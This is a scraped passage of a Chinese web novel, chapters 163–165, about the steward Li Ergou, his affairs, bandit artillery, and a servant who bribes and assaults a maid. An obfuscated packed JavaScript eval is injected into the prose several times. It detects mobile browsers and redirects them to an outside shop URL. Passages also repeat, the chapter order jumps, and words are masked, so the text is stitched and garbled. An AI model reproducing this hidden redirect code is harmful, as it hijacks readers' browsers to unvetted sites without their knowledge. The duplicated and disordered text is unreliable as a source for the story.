走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李二狗哄完于兰芝,从她屋里出来的时候,正好碰见迎春。 迎春恭敬地说道:“李管家好。” 李二狗正好有话要问迎春,但当着于兰芝的面又觉得有所不妥。 他低声说道:“迎春,今天晚上来我院里,我有事问你。” 迎春羞涩地点了点头,快速走开了。 刚走出于兰芝院子,便看到张玲玉正站在自己院门口,很显然她是故意让李二狗看见自己,或者说她是在故意给李二狗施压,提醒他即使做不到一碗水端平,至少也要做到雨露均沾。 其实,张玲玉根本不懂李二狗,他是个顺毛驴,凡事只要你顺着他,什么都好商量,他最讨厌的就是被人胁迫。 他之所以一直喜欢**和静雯,除了她们肤白貌美大长腿之外,关键是她们与世无争的性格。 夫与人争利,其心必有异。 李二狗只喜欢对自己一心一意而又听话的女人。 他装作没看见,直接扭头走了。 张玲玉气的咬牙切齿,把手中的佛珠狠狠地砸到墙上,“啪”地一声,线断了,珠子散落一地。 “李二狗,你给我等着,我早晚让你跪伏在我大腿前。” 其实张玲玉在胡家大院过的也不容易,苦夏**士高卖给妓院之后,再也没给张玲玉安排使唤丫头。 除了吃饭不用自己做之外,洗衣、打扫卫生、做家务这些活都得张玲玉亲力亲为。 锦衣玉食惯了的她又怎能忍受这种折磨。 她把这一切都归罪于胡士高和于兰芝头上,认为是他们故意打压自己造成的,丝毫没有意识到现在的一切都是她自作自受的结果。 可怜之人必有可恨之处,这句话用在张玲玉身上再合适不过了。 张玲玉已经做过很多错事,她不在乎再多做几次。 **,单车变摩托! 她在等待一个机会! 如果没有机会,她就自己创造一个机会。 胡士高离开之后,胡家大院简直成了李家大院,李二狗想干什么便干什么。 他出了门,直奔清风寨,几天没见**,他实在等不到约定上山的日子。 两人见面,免不了又是一番唇枪舌战…… 完事之后,**躺在李二狗怀里,突然抽泣起来。 李二狗赶忙安慰道:“素文,你怎么了?我刚才弄疼你了?” **破涕为笑,说道:“你可真坏,人家只是有点伤感罢了。” “伤感?刚开心完怎么就伤感了?” “二狗,你知道的,自从我上次小产之后,就再也没怀上过孩子,我想今生可能再也无法为你生儿育女了。” **蜷缩在李二狗怀里,哭得浑身颤抖。 “素文,”李二狗的气息拂过她的耳畔,“有些巢,注定要筑在风里——不是等一个啼哭,而是盛放所有找不到归处的羽翼。” **的泪水再也止不住,大颗大颗滴落在自己的手臂上,滚烫滚烫! 今生她是离不开这个男人了! 清风寨议事厅。 陈老三坐在李二狗右手边,显得意气风发。 这次跟着李二狗去省城,他通过优异的表现再一次巩固了自己在清风寨一人之下百人之上的地位。 “兄弟们,这次我和老三、孬蛋去省城,买回来两门山炮,大家讨论一下如何使用它们才能最大地发挥它们的作用。” 陈老三率先说道:“我建议直接架在寨门口,谁敢攻山,直接轰**。” 宋孬蛋没有说话,这次去省城,陈老三急中生智,在舞厅门口**日本人,为李二狗除掉心头大患,立了大功。 自己当时和陈老三在同一位置,可却什么都没有做,他悔得肠子都青了。 陈嘎子、张石头纷纷表示同意陈老三的建议。 李二狗见宋孬蛋不说话,便问道:“孬蛋,你什么意见?” 宋孬蛋本想附和陈老三的意见,把自己的意见隐藏起来,不抢陈老三的风头,但感觉李二狗特意问自己,肯定是对陈老三的意见不满意。 “狗哥,我觉得这两门山炮不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800317|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 该暴露在敌人的视线之内。” 李二狗笑着问道:“那你觉得放在哪里更合适?” “我个人建议把这两门山炮安在后山悬崖上,再建两个隐蔽的暗堡。” 陈老三急赤白脸地说道:“孬蛋,你他娘竟扯淡,把山炮装在后山悬崖,打鸟啊?” 宋孬蛋笑道:“三哥,你先别着急啊,听我把话说完。” “我不同意!”陈老三直接说道。 “老三,你能不能先听孬蛋把话说完,你鸡屁股里掏蛋,真他娘是个急性子。” 陈老三被李二狗一骂,顿时老实了。 “山炮的射程在八到九公里之间,所以说把山炮安放在寨门口还是后山悬崖,根本不影响山炮的使用,但是山炮放在寨门口太危险,很可能会被敌人端掉,最重要的是如果敌人悄悄摸到寨门口再发动攻击,这么短的距离,山炮根本不能发挥它的作用。” 李二狗投给宋孬蛋一个赞许的目光,鼓励他继续说下去。 “把山炮放在后山悬崖,那里是制高点,视野开阔,山下的情形一目了然,可以更好地发挥山炮远程支援的作用。” “还有一点,敌人只要没有攻进山寨,就很难靠近它,这样便能保证山炮的安全。” 宋孬蛋说完后,李二狗问道:“大家什么意见?” 看李二狗的神情,陈嘎子、张石头纷纷表态支持宋孬蛋的意见。 陈老三脸涨的通红,和宋孬蛋比起来,他确实头脑简单。 “老三,你什么意见?” 陈老三嘀咕道:“既然大家都同意,那我也同意。” “那好,安装山炮的事就由孬蛋负责,你必须在一个月之内培养出来几个合格的炮手,有没有信心?” “放心吧,狗哥,在省城买炮的时候我专门向他们请教过怎样**的事,另外我还问他们要了**的教材。” 陈老三的脸更红了。 同样是去买炮,自己什么都没学会,人家宋孬蛋却学会了**,和他比起来,自己还差得远。 第164章 得志便猖狂 晚上,李二狗拖着疲惫的身体回到胡家大院。 他远远地便看到自己四合院门口有个鬼鬼祟祟的人影,以为是迎春,他快步走到跟前,没想到却是孙家旺。 “李管家,您回来了。”孙家旺一脸谄笑。 “是家旺啊,这么晚了有什么事吗?” 孙家旺吞吞吐吐地说道:“也没什么事,就是过来看看您。” 说完有些局促地站在原地,并没有打算离开。 李二狗今天晚上约了迎春,不想被孙家旺看到,便说道:“没什么事就早点回去歇着吧,我这忙了一天也挺累的。” 孙家旺看李二狗并没有邀请自己进屋坐坐的意思,便从衣兜里掏出两卷大洋。 “李管家,这是我孝敬您的一点小意思,请您笑纳。” 一卷大洋是五十块,两卷就是一百块大洋,孙家旺出手倒很大方。 李二狗这次去省城,只是让孙家旺代为照看胡家大院几天,并没有明确他的职务,看来他已经迫不及待地想当胡家大院协管了。 “家旺,你这是什么意思?你想让我犯错误吗?快收回去,被别人看见多不好!” 孙家旺吓得差一点把银元掉到地上,他没想到李二狗反应如此激烈,便急忙解释道:“李管家,您千万别误会,您平时对我照顾有加,我孝敬孝敬您也是应该的。” 李二狗正色道:“家旺,你这些大洋我绝对不能收,你快拿回去。” 李二狗不收钱,孙家旺心里便没有底。 “李管家,这只是我的一点心意,请您务必收下。” 李二狗担心在院门口拉扯被别人看见,便说道:“你跟我进来。” 进到院子里,李二狗没有把孙家旺让到屋里,自己的意思已经非常明显,可孙家旺还是不懂,或者他是在装不懂。 “李管家,我能有今天的成绩完全得益于您的提携,请您一定理解我的一片孝心,务必收下这些大洋。” 李二狗担心迎春进来,被孙家旺遇见解释不清,便说道:“家旺,我提携你完全是出于公心,只要你踏踏实实地干,我绝对不会亏待你,钱你拿回去,不然我就把它交给老爷。” 李二狗之所以不收孙家旺的钱,并不是因为他不喜欢钱,而是不喜欢孙家旺的做派。 事情还没做好就一心想着往上爬,这样的人一旦爬上高位,肯定会被自身的欲望所吞噬。 他今天能送给李二狗一百块大洋,等他爬到自己想要的位置,一定会十倍百倍千倍的捞回来。 孙家旺并没有察觉到李二狗对自己的态度,他以为李二狗在和他客套。 “李管家,我真的只是想感谢您,真的没有别的意思。” 孙家旺把大洋放在院中的石桌上,转身就要走,被李二狗一把拉住。 “家旺,你如果再不把钱拿走,我可真得生气了。” 看李二狗态度如此坚决,只能把桌上的大洋收起来。 “李管家,那您早点歇息,我先回去了。” 孙家旺走出院门,心情落寞。 李二狗不收自己的钱,意味着他并不打算提携自己。 走到一个拐角,他习惯性地转过身,却看到不远处有一个人正向这边走来,看身形是个女人。 孙家旺赶紧躲在墙角,等那个女人走近,原来是迎春。 她走到李二狗院门口,左右看了看,然后直接推门而进。 孙家旺暗骂道:“妈的,原来李二狗约了迎春,怪不得急着把自己赶走。” 为了验证自己的猜测,他悄悄回到李二狗院门口,通过门缝看到迎春进了李二狗的屋子,并关上了门。 这更加让孙家旺确定,李二狗和迎春有**。 孙家旺又回到墙角,他倒要看看迎春多长时间从里面出来。 “李管家。” 迎春垂手而立,她已经好长时间没有和李二狗单独相处,一时显得有些局促。 “迎春,坐,这里只有咱们两个人,你别局促。” 迎春羞涩地笑了笑,便半个屁股坐在一张靠近门口的椅子上。 “你稍等我一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800318|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 李二狗说完便进了卧室,迎春深深地吸了一口气。 她回忆起半年前李二狗刚进胡家大院的情形,那时候他是那么青涩,站在自己面前也像自己如今这般局促。 没想到这才短短半年时间,李二狗已经成了胡家大院大半个主子,而自己在他面前已经不敢与他对视。 “迎春,这是我在省城给你买的口红,感觉这个颜色很适合你的唇色。” 迎春刚才陷入回忆中,都没看到李二狗何时出现在自己面前。 “啊……,”迎春既惊又喜,她没想到李二狗真的给自己买了礼物,她小心翼翼地伸手接过,“谢谢李管家,我很喜欢。” 李二狗笑道:“迎春,和你说过多少次了,只有咱们两个人的时候,你可以叫我二狗。” “李管家,你是胡家大院管家,而我只是个丫鬟,我们……” “既然你知道我是胡家大院管家,那我现在命令你,不许叫我李管家,叫我二狗。” 迎春显得更加局促。 “我知道了,李管家。” 李二狗被她气的哑然失笑,他不想再强求,他们之间地位上的差异已经注定不可能再回到从前的状态。 “迎春,我去省城的这段时间,孙家旺表现如何?” 迎春来这里之前就知道李二狗会问自己这个问题,所以心里提前做了准备。 “我觉得他有点像以前的于管家。” “你说的具体点。” “孙家旺对老爷、对几个奶奶都特别恭敬,可对我们这些丫鬟、家丁却特别苛刻,想骂就骂,有时候还会动手。” 孙家旺的表现很符合小人得志的特征,子系中山狼,得志便猖狂。 “还有别的吗?” 迎春脸上有些为难,她紧咬着嘴唇,仿佛需要下很大的决心,半晌才说道:“李管家,我告诉你,你可千万别告诉别人。” “今天你和我说的话我绝对不会告诉别人,包括大奶奶。” “孙家旺**了老爷的一个使唤丫鬟!” 第165章 大哥给你做主 李二狗听了迎春的话不由得大吃一惊,他没想到孙家旺会如此胆大妄为。 “迎春,说话可得讲证据,道听途说的事不能算数。” 迎春保证道:“李管家,这事我们下边的人都知道,但是大家都觉得孙家旺是你的人,所以不敢在人前议论。” “那他**的是谁?她没有闹吗?怎么一点动静也没有?” “是小凤,她爹娘都闹到胡家大院了,要孙家旺给个说法,孙家旺给了她家三块大洋之后就消停了,哎,她家里太穷了……” 李二狗对男女之事并不是因循守旧之人,但男欢女爱必须建立在你情我愿的基础之上,如果仗势欺人,趁人之危,那就太不是东西了。 “这个孙家旺,没想到他是这样的人,看来以后是不能用了。” 迎春欲言又止了几次,最后还是问道:“李管家,孙家旺他……到底是不是你的人?” 迎春觉得李二狗虽然让自己监视孙家旺的举动,但能让他暂时代管胡家大院,肯定不是一般关系。 “你也觉得他是我的人?” “是啊,在整个胡家大院,大家都知道他是你的人,他逢人就说你很器重他,还说你要提携他当胡家大院的协管。” 李二狗十分讨厌这种狐假虎威,狗仗人势的人。 “这个狗仗人势的东西,看来得找个机会把他赶出胡家大院。” “李管家,如果没有别的事,我就先回去了,大奶奶随时会找我。” “好,你先回去吧,迎春,谢谢你。” 迎春照例是羞涩一笑,她乐意为李二狗做事。 李二狗把迎春送出院子,孙家旺在阴暗处露出淫邪的笑容。 第二天,李二狗特意把孙家旺叫到跟前。 “李管家,昨晚是我唐突了,您千万别往心里去。” 李二狗故意问道:“昨晚?昨晚什么事?我都不记得了。” 孙家旺急忙说道:“就是我给您送钱的事。” 李二狗真想一脚把他踢到南墙上,真是愚蠢他妈给愚蠢开门,愚蠢到家了。 “以前的事就不要再提了,刘家庄有几户佃户一直没交租子,你去催一催,一定要注意方式方法,不要激化矛盾。” 孙家旺很高兴,因为在胡家大院,催租是一项极其重要的工作,一般人根本接触不到。 李二狗能让自己去催租,说明他还是很看重自己。 “李管家请放心,我一定不负所望,既把租子收上来,又不会节外生枝。” 孙家旺走后,李二狗吩咐人把小凤叫到自己屋中。 小凤怯生生站在门口,不敢看李二狗。 “小凤,到屋里来坐。” 小凤走进屋里,站在离门口不远的地方,一直低着头拉扯自己的衣角。 “李……管家,您找我什么事?” 胡士高曾经准备把小凤赏给李二狗,但李二狗没接受,在小凤的心目中,李二狗是瞧不起她这种人的。 “小凤,老爷去省城看病了,你暂时没有什么事情,我准备给你放几天假,回家看看爹娘。” 和李二狗预料的一样,小凤并没有任何欣喜的表情。 小凤在花一样的年纪被父母卖进胡家大院做丫鬟,她内心肯定是怨恨他们的。 这次自己被孙家旺**,爹娘不仅不给自己做主,收了人家三块大洋就对仇人感恩戴德。 她的心早已被那个家庭彻底伤透了! “小凤,怎么了?你不想回家吗?” 小凤没说话,抹起了眼泪,连哭都不敢发出声音。 “小凤,你是不是心里有什么委屈?说出来,我给你做主。” 小凤哭得更凶了。 但她不敢把心里的委屈告诉李二狗,因为孙家旺是他的人,她得罪不起。 “小凤,其实从你第一天进入胡家大院,我就对你印象深刻,觉得你特别像我一个妹妹。” 小凤抬起泪眼婆娑的眼睛,她不明白李二狗说这些话是什么意思。 其实李二狗并非完全忽悠小凤,他很同情小凤的出身和遭遇,最看不得穷人被欺负,他从她身上看到了自己曾经的影子。 “李管家,您……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800319|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “小凤,你心里有什么委屈尽管告诉大哥,大哥给你做主。” 小凤泪崩了。 虽然她不明白李二狗为何突然对自己这么好,但如果在自己走投无路的时候突然有一个人愿意伸出援助之手,她肯定会毫无保留。 “李管家……” “叫大哥!” “李大哥,我……,孙管家……不……孙家旺他欺负了我!” “小凤,别着急,你慢慢说,大哥给你做主。” 小凤便原原本本把孙家旺**自己的事情告诉了李二狗。 “李大哥,我真的活不下去了!孙家旺他……他就是一个变态!比胡士高还变态!” “这个畜生,我饶不了他!” “李大哥,我知道孙家旺是你的人,求求你别告诉他是我告诉你的,把憋在心里的话说出来,心里也就好多了。” “小凤,你放心,大哥给你做主,你先回去吧。” 小凤抹着眼泪走了。 李二狗拿起笔写了一个字条,塞到信鸽腿上,放飞出去。 宋孬蛋收到飞鸽传书后,立刻带领几个弟兄下了山。 傍晚时分,孙家旺回到胡家大院。 “李管家,我们被土匪抢了!” “什么?被土匪抢了?” 看着毫发无损甚至身上连一丝尘埃都没有的孙家旺,李二狗的眼神看得他心里直发毛。 “在回来的路上,突然出现一群土匪,把收来的租金全部抢走了。” “孙家旺,你平时不是一向自诩很厉害吗?遇见土匪怎么就怂了?是不是当时就双手把租金奉上了?” “李管家,您听我说,土匪他们有枪,我真是……” “家旺,你真的是被土匪抢了?” 孙家旺被李二狗犀利的眼神吓坏了,他立刻跪在地上。 “李管家,我孙家旺对天发誓,我真是被土匪抢了!” “你紧张什么?我也只是随口一问,毕竟除了你,也没有第二个人知道此事。” “李管家,您一定要相信我啊,我真是是被土匪抢了!” 第163章 **的学问 李二狗哄完于兰芝,从她屋里出来的时候,正好碰见迎春。 迎春恭敬地说道:“李管家好。” 李二狗正好有话要问迎春,但当着于兰芝的面又觉得有所不妥。 他低声说道:“迎春,今天晚上来我院里,我有事问你。” 迎春羞涩地点了点头,快速走开了。 刚走出于兰芝院子,便看到张玲玉正站在自己院门口,很显然她是故意让李二狗看见自己,或者说她是在故意给李二狗施压,提醒他即使做不到一碗水端平,至少也要做到雨露均沾。 其实,张玲玉根本不懂李二狗,他是个顺毛驴,凡事只要你顺着他,什么都好商量,他最讨厌的就是被人胁迫。 他之所以一直喜欢**和静雯,除了她们肤白貌美大长腿之外,关键是她们与世无争的性格。 夫与人争利,其心必有异。 李二狗只喜欢对自己一心一意而又听话的女人。 他装作没看见,直接扭头走了。 张玲玉气的咬牙切齿,把手中的佛珠狠狠地砸到墙上,“啪”地一声,线断了,珠子散落一地。 “李二狗,你给我等着,我早晚让你跪伏在我大腿前。” 其实张玲玉在胡家大院过的也不容易,苦夏**士高卖给妓院之后,再也没给张玲玉安排使唤丫头。 除了吃饭不用自己做之外,洗衣、打扫卫生、做家务这些活都得张玲玉亲力亲为。 锦衣玉食惯了的她又怎能忍受这种折磨。 她把这一切都归罪于胡士高和于兰芝头上,认为是他们故意打压自己造成的,丝毫没有意识到现在的一切都是她自作自受的结果。 可怜之人必有可恨之处,这句话用在张玲玉身上再合适不过了。 张玲玉已经做过很多错事,她不在乎再多做几次。 **,单车变摩托! 她在等待一个机会! 如果没有机会,她就自己创造一个机会。 胡士高离开之后,胡家大院简直成了李家大院,李二狗想干什么便干什么。 他出了门,直奔清风寨,几天没见**,他实在等不到约定上山的日子。 两人见面,免不了又是一番唇枪舌战…… 完事之后,**躺在李二狗怀里,突然抽泣起来。 李二狗赶忙安慰道:“素文,你怎么了?我刚才弄疼你了?” **破涕为笑,说道:“你可真坏,人家只是有点伤感罢了。” “伤感?刚开心完怎么就伤感了?” “二狗,你知道的,自从我上次小产之后,就再也没怀上过孩子,我想今生可能再也无法为你生儿育女了。” **蜷缩在李二狗怀里,哭得浑身颤抖。 “素文,”李二狗的气息拂过她的耳畔,“有些巢,注定要筑在风里——不是等一个啼哭,而是盛放所有找不到归处的羽翼。” **的泪水再也止不住,大颗大颗滴落在自己的手臂上,滚烫滚烫! 今生她是离不开这个男人了! 清风寨议事厅。 陈老三坐在李二狗右手边,显得意气风发。 这次跟着李二狗去省城,他通过优异的表现再一次巩固了自己在清风寨一人之下百人之上的地位。 “兄弟们,这次我和老三、孬蛋去省城,买回来两门山炮,大家讨论一下如何使用它们才能最大地发挥它们的作用。” 陈老三率先说道:“我建议直接架在寨门口,谁敢攻山,直接轰**。” 宋孬蛋没有说话,这次去省城,陈老三急中生智,在舞厅门口**日本人,为李二狗除掉心头大患,立了大功。 自己当时和陈老三在同一位置,可却什么都没有做,他悔得肠子都青了。 陈嘎子、张石头纷纷表示同意陈老三的建议。 李二狗见宋孬蛋不说话,便问道:“孬蛋,你什么意见?” 宋孬蛋本想附和陈老三的意见,把自己的意见隐藏起来,不抢陈老三的风头,但感觉李二狗特意问自己,肯定是对陈老三的意见不满意。 “狗哥,我觉得这两门山炮不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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同样是去买炮,自己什么都没学会,人家宋孬蛋却学会了**,和他比起来,自己还差得远。 第164章 得志便猖狂 晚上,李二狗拖着疲惫的身体回到胡家大院。 他远远地便看到自己四合院门口有个鬼鬼祟祟的人影,以为是迎春,他快步走到跟前,没想到却是孙家旺。 “李管家,您回来了。”孙家旺一脸谄笑。 “是家旺啊,这么晚了有什么事吗?” 孙家旺吞吞吐吐地说道:“也没什么事,就是过来看看您。” 说完有些局促地站在原地,并没有打算离开。 李二狗今天晚上约了迎春,不想被孙家旺看到,便说道:“没什么事就早点回去歇着吧,我这忙了一天也挺累的。” 孙家旺看李二狗并没有邀请自己进屋坐坐的意思,便从衣兜里掏出两卷大洋。 “李管家,这是我孝敬您的一点小意思,请您笑纳。” 一卷大洋是五十块,两卷就是一百块大洋,孙家旺出手倒很大方。 李二狗这次去省城,只是让孙家旺代为照看胡家大院几天,并没有明确他的职务,看来他已经迫不及待地想当胡家大院协管了。 “家旺,你这是什么意思?你想让我犯错误吗?快收回去,被别人看见多不好!” 孙家旺吓得差一点把银元掉到地上,他没想到李二狗反应如此激烈,便急忙解释道:“李管家,您千万别误会,您平时对我照顾有加,我孝敬孝敬您也是应该的。” 李二狗正色道:“家旺,你这些大洋我绝对不能收,你快拿回去。” 李二狗不收钱,孙家旺心里便没有底。 “李管家,这只是我的一点心意,请您务必收下。” 李二狗担心在院门口拉扯被别人看见,便说道:“你跟我进来。” 进到院子里,李二狗没有把孙家旺让到屋里,自己的意思已经非常明显,可孙家旺还是不懂,或者他是在装不懂。 “李管家,我能有今天的成绩完全得益于您的提携,请您一定理解我的一片孝心,务必收下这些大洋。” 李二狗担心迎春进来,被孙家旺遇见解释不清,便说道:“家旺,我提携你完全是出于公心,只要你踏踏实实地干,我绝对不会亏待你,钱你拿回去,不然我就把它交给老爷。” 李二狗之所以不收孙家旺的钱,并不是因为他不喜欢钱,而是不喜欢孙家旺的做派。 事情还没做好就一心想着往上爬,这样的人一旦爬上高位,肯定会被自身的欲望所吞噬。 他今天能送给李二狗一百块大洋,等他爬到自己想要的位置,一定会十倍百倍千倍的捞回来。 孙家旺并没有察觉到李二狗对自己的态度,他以为李二狗在和他客套。 “李管家,我真的只是想感谢您,真的没有别的意思。” 孙家旺把大洋放在院中的石桌上,转身就要走,被李二狗一把拉住。 “家旺,你如果再不把钱拿走,我可真得生气了。” 看李二狗态度如此坚决,只能把桌上的大洋收起来。 “李管家,那您早点歇息,我先回去了。” 孙家旺走出院门,心情落寞。 李二狗不收自己的钱,意味着他并不打算提携自己。 走到一个拐角,他习惯性地转过身,却看到不远处有一个人正向这边走来,看身形是个女人。 孙家旺赶紧躲在墙角,等那个女人走近,原来是迎春。 她走到李二狗院门口,左右看了看,然后直接推门而进。 孙家旺暗骂道:“妈的,原来李二狗约了迎春,怪不得急着把自己赶走。” 为了验证自己的猜测,他悄悄回到李二狗院门口,通过门缝看到迎春进了李二狗的屋子,并关上了门。 这更加让孙家旺确定,李二狗和迎春有**。 孙家旺又回到墙角,他倒要看看迎春多长时间从里面出来。 “李管家。” 迎春垂手而立,她已经好长时间没有和李二狗单独相处,一时显得有些局促。 “迎春,坐,这里只有咱们两个人,你别局促。” 迎春羞涩地笑了笑,便半个屁股坐在一张靠近门口的椅子上。 “你稍等我一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800318|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 李二狗说完便进了卧室,迎春深深地吸了一口气。 她回忆起半年前李二狗刚进胡家大院的情形,那时候他是那么青涩,站在自己面前也像自己如今这般局促。 没想到这才短短半年时间,李二狗已经成了胡家大院大半个主子,而自己在他面前已经不敢与他对视。 “迎春,这是我在省城给你买的口红,感觉这个颜色很适合你的唇色。” 迎春刚才陷入回忆中,都没看到李二狗何时出现在自己面前。 “啊……,”迎春既惊又喜,她没想到李二狗真的给自己买了礼物,她小心翼翼地伸手接过,“谢谢李管家,我很喜欢。” 李二狗笑道:“迎春,和你说过多少次了,只有咱们两个人的时候,你可以叫我二狗。” “李管家,你是胡家大院管家,而我只是个丫鬟,我们……” “既然你知道我是胡家大院管家,那我现在命令你,不许叫我李管家,叫我二狗。” 迎春显得更加局促。 “我知道了,李管家。” 李二狗被她气的哑然失笑,他不想再强求,他们之间地位上的差异已经注定不可能再回到从前的状态。 “迎春,我去省城的这段时间,孙家旺表现如何?” 迎春来这里之前就知道李二狗会问自己这个问题,所以心里提前做了准备。 “我觉得他有点像以前的于管家。” “你说的具体点。” “孙家旺对老爷、对几个奶奶都特别恭敬,可对我们这些丫鬟、家丁却特别苛刻,想骂就骂,有时候还会动手。” 孙家旺的表现很符合小人得志的特征,子系中山狼,得志便猖狂。 “还有别的吗?” 迎春脸上有些为难,她紧咬着嘴唇,仿佛需要下很大的决心,半晌才说道:“李管家,我告诉你,你可千万别告诉别人。” “今天你和我说的话我绝对不会告诉别人,包括大奶奶。” “孙家旺**了老爷的一个使唤丫鬟!” 第165章 大哥给你做主 李二狗听了迎春的话不由得大吃一惊,他没想到孙家旺会如此胆大妄为。 “迎春,说话可得讲证据,道听途说的事不能算数。” 迎春保证道:“李管家,这事我们下边的人都知道,但是大家都觉得孙家旺是你的人,所以不敢在人前议论。” “那他**的是谁?她没有闹吗?怎么一点动静也没有?” “是小凤,她爹娘都闹到胡家大院了,要孙家旺给个说法,孙家旺给了她家三块大洋之后就消停了,哎,她家里太穷了……” 李二狗对男女之事并不是因循守旧之人,但男欢女爱必须建立在你情我愿的基础之上,如果仗势欺人,趁人之危,那就太不是东西了。 “这个孙家旺,没想到他是这样的人,看来以后是不能用了。” 迎春欲言又止了几次,最后还是问道:“李管家,孙家旺他……到底是不是你的人?” 迎春觉得李二狗虽然让自己监视孙家旺的举动,但能让他暂时代管胡家大院,肯定不是一般关系。 “你也觉得他是我的人?” “是啊,在整个胡家大院,大家都知道他是你的人,他逢人就说你很器重他,还说你要提携他当胡家大院的协管。” 李二狗十分讨厌这种狐假虎威,狗仗人势的人。 “这个狗仗人势的东西,看来得找个机会把他赶出胡家大院。” “李管家,如果没有别的事,我就先回去了,大奶奶随时会找我。” “好,你先回去吧,迎春,谢谢你。” 迎春照例是羞涩一笑,她乐意为李二狗做事。 李二狗把迎春送出院子,孙家旺在阴暗处露出淫邪的笑容。 第二天,李二狗特意把孙家旺叫到跟前。 “李管家,昨晚是我唐突了,您千万别往心里去。” 李二狗故意问道:“昨晚?昨晚什么事?我都不记得了。” 孙家旺急忙说道:“就是我给您送钱的事。” 李二狗真想一脚把他踢到南墙上,真是愚蠢他妈给愚蠢开门,愚蠢到家了。 “以前的事就不要再提了,刘家庄有几户佃户一直没交租子,你去催一催,一定要注意方式方法,不要激化矛盾。” 孙家旺很高兴,因为在胡家大院,催租是一项极其重要的工作,一般人根本接触不到。 李二狗能让自己去催租,说明他还是很看重自己。 “李管家请放心,我一定不负所望,既把租子收上来,又不会节外生枝。” 孙家旺走后,李二狗吩咐人把小凤叫到自己屋中。 小凤怯生生站在门口,不敢看李二狗。 “小凤,到屋里来坐。” 小凤走进屋里,站在离门口不远的地方,一直低着头拉扯自己的衣角。 “李……管家,您找我什么事?” 胡士高曾经准备把小凤赏给李二狗,但李二狗没接受,在小凤的心目中,李二狗是瞧不起她这种人的。 “小凤,老爷去省城看病了,你暂时没有什么事情,我准备给你放几天假,回家看看爹娘。” 和李二狗预料的一样,小凤并没有任何欣喜的表情。 小凤在花一样的年纪被父母卖进胡家大院做丫鬟,她内心肯定是怨恨他们的。 这次自己被孙家旺**,爹娘不仅不给自己做主,收了人家三块大洋就对仇人感恩戴德。 她的心早已被那个家庭彻底伤透了! “小凤,怎么了?你不想回家吗?” 小凤没说话,抹起了眼泪,连哭都不敢发出声音。 “小凤,你是不是心里有什么委屈?说出来,我给你做主。” 小凤哭得更凶了。 但她不敢把心里的委屈告诉李二狗,因为孙家旺是他的人,她得罪不起。 “小凤,其实从你第一天进入胡家大院,我就对你印象深刻,觉得你特别像我一个妹妹。” 小凤抬起泪眼婆娑的眼睛,她不明白李二狗说这些话是什么意思。 